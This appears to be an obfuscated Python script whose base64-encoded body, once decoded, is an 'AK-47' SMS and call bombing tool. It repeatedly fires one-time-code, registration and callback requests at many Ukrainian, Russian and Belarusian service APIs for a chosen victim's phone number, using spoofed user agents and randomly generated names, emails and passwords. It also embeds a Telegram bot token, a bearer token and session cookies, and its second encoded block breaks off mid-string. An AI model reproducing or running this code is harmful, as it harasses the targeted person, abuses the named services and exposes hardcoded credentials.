# Python code obfuscated by www.development-tools.net import base64, codecs magic = 'aW1wb3J0IHJlcXVlc3RzDQppbXBvcnQgb3MNCmltcG9ydCByYW5kb20NCmZyb20gdXNlcl9hZ2VudCBpbXBvcnQgZ2VuZXJhdGVfdXNlcl9hZ2VudA0KaW1wb3J0IHB5ZmlnbGV0DQpmcm9tIGNvbG9yYW1hIGltcG9ydCBGb3JlLCBTdHlsZSwgaW5pdA0KaW1wb3J0IHRlbGVib3QNCmlkID0gODA2NTY2NDIwDQpib3QgPSB0ZWxlYm90LlRlbGVCb3QoJzExNTgzNjkxNDE6QUFGbWx5ME5vUF9vc25aRUpCMDQwREdJanVBWFlPemdNLXMnKQ0KDQpvcy5zeXN0ZW0oImNsZWFyIikNCm5pY2UgPSBGb3JlLllFTExPVyArIFN0eWxlLkJSSUdIVCArICJbU3VjY2Vzc2Z1bF0gIiArIFN0eWxlLlJFU0VUX0FMTCArIEZvcmUuR1JFRU4gKyBTdHlsZS5CUklHSFQNCmZhaWwgPSBGb3JlLllFTExPVyArIFN0eWxlLkJSSUdIVCArICJbRmFpbGVkXSAiICsgU3R5bGUuUkVTRVRfQUxMICsgRm9yZS5SRUQgKyBTdHlsZS5CUklHSFQNCg0KDQpkZWYgY2hlY2tfbnVtYmVyKCk6DQogICAgcGFzcw0KDQoNCmRlZiBnZW5lcmF0ZV9pbmZvKCk6DQogICAgZ2xvYmFsIF9uYW1lDQogICAgZ2xvYmFsIF9lbWFpbA0KICAgIGdsb2JhbCBwYXNzd29yZA0KICAgIGdsb2JhbCB1c2VybmFtZQ0KICAgIGdsb2JhbCBfcnVzc2lhbg0KICAgIF9ydXNzaWFuID0gIiIuam9pbihbDQogICAgICAgIHJhbmRvbS5jaG9pY2UoDQogICAgICAgICAgICAi0LnRhtGD0LrQtdC90LPRiNGJ0LfRhdGK0YTRi9Cy0LDQv9GA0L7Qu9C00LbRjdGP0YfQvNC40YLRjNCx0Y7QmdCm0KPQmtCV0J3Qk9Co0KnQl9Cl0KrQpNCr0JLQkNCf0KDQntCb0JTQltCt0K/Qp9Ch0JzQmNCi0KzQkdCuIikNCiAgICAgICAgZm9yIHggaW4gcmFuZ2UoOCkNCiAgICBdKQ0KICAgIF9uYW1lID0gIiIuam9pbihbDQogICAgICAgIHJhbmRvbS5jaG9pY2UoDQogICAgICAgICAgICAiMTIzNDU2Nzg5MGFiY2RlZmdoaWdrbG1ub3BxcnN0dXZ5eHd6QUJDREVGR0hJR0tMTU5PUFFSU1RVVllYV1oiKQ0KICAgICAgICBmb3IgeCBpbiByYW5nZSg4KQ0KICAgIF0pDQogICAgcGFzc3dvcmQgPSAiIi5qb2luKFsNCiAgICAgICAgcmFuZG9tLmNob2ljZSgNCiAgICAgICAgICAgICIxMjM0NTY3ODkwYWJjZGVmZ2hpZ2tsbW5vcHFyc3R1dnl4d3pBQkNERUZHSElHS0xNTk9QUVJTVFVWWVhXWiIpDQogICAgICAgIGZvciB4IGluIHJhbmdlKDExKQ0KICAgIF0pDQogICAgdXNlcm5hbWUgPSAiIi5qb2luKFsNCiAgICAgICAgcmFuZG9tLmNob2ljZSgiMTIzNDU2Nzg5MGFiY2RlZmdoaWdrbG1ub3BxcnN0dXZ5eHd6IikgZm9yIHggaW4gcmFuZ2UoOCkNCiAgICBdKQ0KICAgIF9lbWFpbCA9ICgiIi5qb2luKFsNCiAgICAgICAgcmFuZG9tLmNob2ljZSgiMTIzNDU2Nzg5MGFiY2RlZmdoaWdrbG1ub3BxcnN0dXZ5eHd6IikgZm9yIHggaW4gcmFuZ2UoOCkNCiAgICBdKSArICJAZ21haWwuY29tIikNCg0KDQpoZWFkID0gew0KICAgICJVc2VyLUFnZW50IjogZ2VuZXJhdGVfdXNlcl9hZ2VudCgNCiAgICAgICAgZGV2aWNlX3R5cGU9ImRlc2t0b3AiLCBvcz0oIm1hYyIsICJsaW51eCIpKSwNCiAgICAiWC1SZXF1ZXN0ZWQtV2l0aCI6ICJYTUxIdHRwUmVxdWVzdCIsDQp9DQoNCg0KZGVmIHN0YXJ0KCk6DQogICAgYmFubmVyID0gcHlmaWdsZXQuZmlnbGV0X2Zvcm1hdCgiQUstNDciKQ0KICAgIHByaW50KEZvcmUuUkVEKQ0KICAgIHByaW50KGJhbm5lciArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICBwcmludChGb3JlLkdSRUVOKQ0KICAgIHByaW50KCctLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nKQ0KICAgIHByaW50KA0KICAgICAgICBGb3JlLkJMVUUgKyBTdHlsZS5CUklHSFQgKw0KICAgICAgICBmIkNyZWF0ZSBieSBFTFZJTlxuVHJhbnNsYXRlIGJ5IFF1ZXNzdHNcblBob25lIE51bWJlcjoge3Bob25lfVxuTnVtYmVyIG9mIHJvdW5kczoge2NvdW50fSAiDQogICAgICAgICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgIHByaW50KEZvcmUuR1JFRU4gKyAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJyArDQogICAgICAgICAgU3R5bGUuUkVTRVRfQUxMKQ0KICAgIGdsb2JhbCBpdGVyYXRpb24NCiAgICBpdGVyYXRpb24gPSAwDQogICAgd2hpbGUgaXRlcmF0aW9uIDwgY291bnQ6DQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vdWtsb24uY29tLnVhL2FwaS92MS9hY2NvdW50L2NvZGUvc2VuZCIsDQogICAgICAgICAgICAgICAgaGVhZGVycz17DQogICAgICAgICAgICAgICAgICAgICJjbGllbnRfaWQiOg0KICAgICAgICAgICAgICAgICAgICAiNjI4OWRlODUxZmM3MjZmODg3YWY4ZDVkN2E1NmM2MzUiLA0KICAgICAgICAgICAgICAgICAgICAiVXNlci1BZ2VudCI6DQogICAgICAgICAgICAgICAgICAgIGdlbmVyYXRlX3VzZXJfYWdlbnQoDQogICAgICAgICAgICAgICAgICAgICAgICBkZXZpY2VfdHlwZT0iZGVza3RvcCIsIG9zPSgibWFjIiwgImxpbnV4IikpLA0KICAgICAgICAgICAgICAgICAgICAiWC1SZXF1ZXN0ZWQtV2l0aCI6DQogICAgICAgICAgICAgICAgICAgICJYTUxIdHRwUmVxdWVzdCIsDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICBqc29uPXsicGhvbmUiOiBwaG9uZX0sDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9wYXJ0bmVyLnVrbG9uLmNvbS51YS9hcGkvdjEvcmVnaXN0cmF0aW9uL3NlbmRjb2RlIiwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPXsNCiAgICAgICAgICAgICAgICAgICAgImNsaWVudF9pZCI6DQogICAgICAgICAgICAgICAgICAgICI2Mjg5ZGU4NTFmYzcyNmY4ODdhZjhkNWQ3YTU2YzYzNSIsDQogICAgICAgICAgICAgICAgICAgICJVc2VyLUFnZW50IjoNCiAgICAgICAgICAgICAgICAgICAgZ2VuZXJhdGVfdXNlcl9hZ2VudCgNCiAgICAgICAgICAgICAgICAgICAgICAgIGRldmljZV90eXBlPSJkZXNrdG9wIiwgb3M9KCJtYWMiLCAibGludXgiKSksDQogICAgICAgICAgICAgICAgICAgICJYLVJlcXVlc3RlZC1XaXRoIjoNCiAgICAgICAgICAgICAgICAgICAgIlhNTEh0dHBSZXF1ZXN0IiwNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGpzb249eyJwaG9uZSI6IHBob25lfSwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIlVrbG9uIHNlbnQgc3VjY2Vzc2Z1bGx5ISEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIlVrbG9uIEZhaWxlZCHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL3d3dy5tb3lvLnVhL2lkZW50aXR5L3JlZ2lzdHJhdGlvbiIsDQogICAgICAgICAgICAgICAgZGF0YT17DQogICAgICAgICAgICAgICAgICAgICJmaXJzdG5hbWUiOiAi0J7Qu9C10LMiLA0KICAgICAgICAgICAgICAgICAgICAicGhvbmUiOiBwaG9uZSwNCiAgICAgICAgICAgICAgICAgICAgImVtYWlsIjogX2VtYWlsLA0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiTU9ZTyBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIk1PWU8gRmFpbGVkIdC+0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9rb3JvbmFwYXkuY29tL3RyYW5zZmVycy9vbmxpbmUvYXBpL3VzZXJzL290cHMiLA0KICAgICAgICAgICAgICAgIGRhdGE9ew0KICAgICAgICAgICAgICAgICAgICAicGhvbmUiOiBwaG9uZSwNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIktvcm9ub1BheSBzZW50IHN1Y2Nlc3NmdWxseSEhIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJLb3Jvbm9QYXkgRmFpbGVkIdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIGZyaXNvciA9IHsNCiAgICAgICAgICAgICAgICAiQ29udGVudC10eXBlIjoNCiAgICAgICAgICAgICAgICAiYXBwbGljYXRpb24vanNvbiIsDQogICAgICAgICAgICAgICAgIkFjY2VwdCI6DQogICAgICAgICAgICAgICAgImFwcGxpY2F0aW9uL2pzb24sIHRleHQvcGxhaW4iLA0KICAgICAgICAgICAgICAgICJhdXRob3JpemF0aW9uIjoNCiAgICAgICAgICAgICAgICAiQmVhcmVyIHl1c3czeWV1NmhycjRyOWozZ3c2IiwNCiAgICAgICAgICAgICAgICAiVXNlci1BZ2VudCI6DQogICAgICAgICAgICAgICAgZ2VuZXJhdGVfdXNlcl9hZ2VudCgNCiAgICAgICAgICAgICAgICAgICAgZGV2aWNlX3R5cGU9ImRlc2t0b3AiLCBvcz0oIm1hYyIsICJsaW51eCIpKSwNCiAgICAgICAgICAgICAgICAiY29va2llIjoNCiAgICAgICAgICAgICAgICAiYXV0aD12b3YwcHR0MnJsaG5pMHRlbjRuOWtoNXEwNzhsMGRtNWVscDkwNGxxNm5jc2ZtYWMwbWQ4aThiY21xaWxrOHUzOyBsYW5nPTE7IHljX3ZpZD05NzUyNzA0ODkwOTsgeWNfZmlyc3R2aXNpdD0xNTg5MjcxMjA4OyBfeW1fdWlkPTE1ODkyNzEyMTAxNjE1ODA5NzI7IF95bV9kPTE1ODkyNzEyMTA7IF9nYT1HQTEuMi4yMDQ1Nzg5ODY3LjE1ODkyNzEyMTE7IF9naWQ9R0ExLjIuODA3MjM1ODgzLjE1ODkyNzEyMTE7IF95bV92aXNvcmNfMzUyMzkyODA9YjsgX3ltX2lzYWQ9MjsgX2dhdF9ndGFnX1VBXzY4NDA2MzMxXzE9MSIsDQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL24xMzQyMy55Y2xpZW50cy5jb20vYXBpL3YxL2Jvb2tfY29kZS8zMTIwNTQiLA0KICAgICAgICAgICAgICAgIGRhdGE9anNvbi5kdW1wcyh7DQogICAgICAgICAgICAgICAgICAgICJwaG9uZSI6IHBob25lDQogICAgICAgICAgICAgICAgfSksDQogICAgICAgICAgICAgICAgaGVhZGVycz1mcmlzb3IsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgIyAxINGA0LDQtyDQsiDQvNC40L3Rg9GC0YMNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiRnJpem9yIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAiRnJpem9yIEZhaWxlZCHQviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8va2FzdGEudWEvYXBpL3YyL2xvZ2luLyIsDQogICAgICAgICAgICAgICAgZGF0YT17InBob25lIjogcGhvbmV9LA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MikNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiS2FzdGEgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJLYXN0YSBGYWlsZWQh0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBwcmludChmYWlsICsgIkd1cnUgRmFpbGVkIdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vaXppLnVhL2FwaS9hdXRoL3JlZ2lzdGVyIiwNCiAgICAgICAgICAgICAgICBqc29uPXsNCiAgICAgICAgICAgICAgICAgICAgInBob25lIjogIisiICsgcGhvbmUsDQogICAgICAgICAgICAgICAgICAgICJuYW1lIjogX3J1c3NpYW4sDQogICAgICAgICAgICAgICAgICAgICJpc190ZXJtc19hY2NlcHRlZCI6ICJ0cnVlIiwNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIklaSSBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIklaSSBGYWlsZWQh0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL2p1bmtlci5raWV2LnVhL3Bvc3RtYXN0ZXIucGhwIiwNCiAgICAgICAgICAgICAgICBkYXRhPXsNCiAgICAgICAgICAgICAgICAgICAgInRlbCI6IHBob25lWzI6XSwNCiAgICAgICAgICAgICAgICAgICAgIm5hbWUiOiBfbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgImFjdGlvbiI6ICJjYWxsbWUiLA0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJKdW5rZXIgS2lldiBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIkp1bmtlciBLaWV2IEZhaWxlZCHQviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vYWxsby51YS91YS9jdXN0b21lci9hY2NvdW50L2NyZWF0ZVBvc3RWdWUvP2N1cnJlbnRUaGVtZT1tYWluJmN1cnJlbnRMb2NhbGU9dWtfVUEiLA0KICAgICAgICAgICAgICAgIGRhdGE9ew0KICAgICAgICAgICAgICAgICAgICAiZmlyc3RuYW1lIjogX3J1c3NpYW4sDQogICAgICAgICAgICAgICAgICAgICJ0ZWxlcGhvbmUiOiBwaG9uZSwNCiAgICAgICAgICAgICAgICAgICAgImVtYWlsIjogX2VtYWlsLA0KICAgICAgICAgICAgICAgICAgICAicGFzc3dvcmQiOiBwYXNzd29yZCwNCiAgICAgICAgICAgICAgICAgICAgImZvcm1fa2V5IjogIlpxcWo3Q3lqa0tHMkltTTgiLA0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiQWxsbyBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIkFsbG8gRmFpbGVkIdC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9zdG9yZXMtYXBpLnpha2F6LnVhL3VzZXIvc2lnbnVwLyIsDQogICAgICAgICAgICAgICAganNvbj17InBob25lIjogcGhvbmV9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9ew0KICAgICAgICAgICAgICAgICAgICAiQWNjZXB0IjoNCiAgICAgICAgICAgICAgICAgICAgIiovKiIsDQogICAgICAgICAgICAgICAgICAgICJDb250ZW50LVR5cGUiOg0KICAgICAgICAgICAgICAgICAgICAiYXBwbGljYXRpb24vanNvbiIsDQogICAgICAgICAgICAgICAgICAgICJSZWZlcmVyIjoNCiAgICAgICAgICAgICAgICAgICAgImh0dHBzOi8vbWVnYW1hcmtldC56YWthei51YS9ydS9wcm9kdWN0cy9tZWdhbWFya2V0MDAwMDAwMDAxMjIwMjMvc2F1c2FnZXMtZmFycm8vIiwNCiAgICAgICAgICAgICAgICAgICAgIlVzZXItQWdlbnQiOg0KICAgICAgICAgICAgICAgICAgICBnZW5lcmF0ZV91c2VyX2FnZW50KA0KICAgICAgICAgICAgICAgICAgICAgICAgZGV2aWNlX3R5cGU9ImRlc2t0b3AiLCBvcz0oIm1hYyIsICJsaW51eCIpKSwNCiAgICAgICAgICAgICAgICAgICAgIngtY2hhaW4iOg0KICAgICAgICAgICAgICAgICAgICAibWVnYW1hcmtldCIsDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiWmFrYXoudWEgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJaYWthei51YSBGYWlsZWQh0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBwcmludChmYWlsICsgIlBzQmFuayBGYWlsZWQh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly95b3VsYS5ydS93ZWItYXBpL2F1dGgvcmVxdWVzdF9jb2RlIiwNCiAgICAgICAgICAgICAgICBkYXRhPXsicGhvbmUiOiBwaG9uZX0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiWW91bGEgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJZb3VsYSBGYWlsZWQh0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL2Nsb3VkLm1haWwucnUvYXBpL3YyL25vdGlmeS9hcHBsaW5rIiwNCiAgICAgICAgICAgICAgICBqc29uPXsNCiAgICAgICAgICAgICAgICAgICAgInBob25lIjogIisiICsgcGhvbmUsDQogICAgICAgICAgICAgICAgICAgICJhcGkiOiAyLA0KICAgICAgICAgICAgICAgICAgICAiZW1haWwiOiBfZW1haWwsDQogICAgICAgICAgICAgICAgICAgICJ4LWVtYWlsIjogIngtZW1haWwiLA0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiTWFpbFJ1IENsb3VkIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAiTWFpbFJ1IENsb3VkIEZhaWxlZCHQviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vbXlhcGkuYmVsdGVsZWNvbS5ieS9hcGkvdjEvYXV0aC9jaGVjay1waG9uZT9sYW5nPXJ1IiwNCiAgICAgICAgICAgICAgICBkYXRhPXsicGhvbmUiOiBwaG9uZX0sDQogICAgICAgICAgICAgICAgaGVhZGV' love = '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